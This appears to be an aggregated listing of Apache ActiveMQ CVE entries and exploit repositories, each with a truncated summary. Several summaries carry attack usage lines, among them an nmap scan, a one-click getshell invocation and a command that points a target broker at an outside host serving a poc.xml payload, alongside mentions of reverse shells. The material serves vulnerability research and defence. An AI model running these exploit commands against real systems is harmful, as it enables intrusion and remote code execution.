CVE-2026-74761

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-74761

CVE-2026-74761 affects Apache ActiveMQ , Apache ActiveMQ Broker , and Apache ActiveMQ All due to improper input validation in the TopicRegion component. An authenticated client can spoof the clientId when removing a durable topic subscription, potentially allowing removal of another subscriber's ...

EUVD-2026-74829

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic RCE via Jolokia API TL;DR A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnectorString MBean operation through the Jolokia API /api/jolokia/. The attacker embed...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ PoC exploit for CVE-2025-27533 , a Denial of Service DoS vulnerability in Apache ActiveMQ. This tool sends malicious OpenWire packets to exhaust the JVM heap memory of the target server, and potentially crashing the ActiveMQ service on port 61616. USE...

CVE-2026-42588

CVE-2026-42588 - Explotación de Vulnerabilidad de Ejecución Remota de Código en Apache ActiveMQ Jolokia Nivel de Gravedad : 🔴 Alto CVSS 4.0: 8.1 Tipo de Vulnerabilidad : CWE-94 — Inyección de Código Versiones Afectadas : Apache ActiveMQ Requisito de Explotación : Se necesitan credenciales de...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerability A deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. Setup Change the Values inside the...

ActiveMQ_CVE-2015-5254

ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API Description CVE-2026-34197 is a remote code execution RCE vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary commands on the server's operating system through the Jolokia API exposed on the web console. The...

honeypot.rs

honeypot.rs Honeypot that scopes CVE-2023-46604 Apache ActiveMQ RCE Vulnerability and focused on getting Indicators of Compromise. This honeypot can be used in any Threat Intelligence infrastructure to get attacker's IP adresses, Post-Exploitation samples and malware samples. This information can...

Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control

Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

Exploitation of CVE-2015-5254 Vulnerability CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS...

CVE-2023-46604

CVE-2023-46604 Este repositorio contiene un script de explotación y un archivo XML de Prueba de Concepto PoC para la vulnerabilidad CVE-2023-46604 que afecta a Apache ActiveMQ. La vulnerabilidad permite la ejecución remota de código debido a prácticas inseguras de deserialización en el protocolo...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it. Compiling To build the exploit...

CVE-2016-3088

Apache ActiveMQ PUT RCE One-Click GetShell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer This repository contains proof-of-concept code for CVE-2023-466064 and is intended strictly for educational purposes. The authors and contributors do not endorse any illegal activity. The information presented here is for academic, security research, and...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...

CVE-2022-39197

CVE-2022-39197 RCE POC Usage Prepare Payload 1. Edit Line 19 with your payload in EvilJar/src/main/java/Exploit.java 2. Build using jar mvn clean compile assembly:single 3. Move EvilJar-1.0-jar-with-dependencies.jar from EvilJar/target/ to serve/ folder 4. Edit serve\evil.svg replace attacker 5...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE Research Private research archive for the Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML remote-code-execution chain CVE-2026-34197 and its patch-bypass CVE-2026-42588, plus a full auto-research audit of the fixed 6.2.6 release and a...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port ...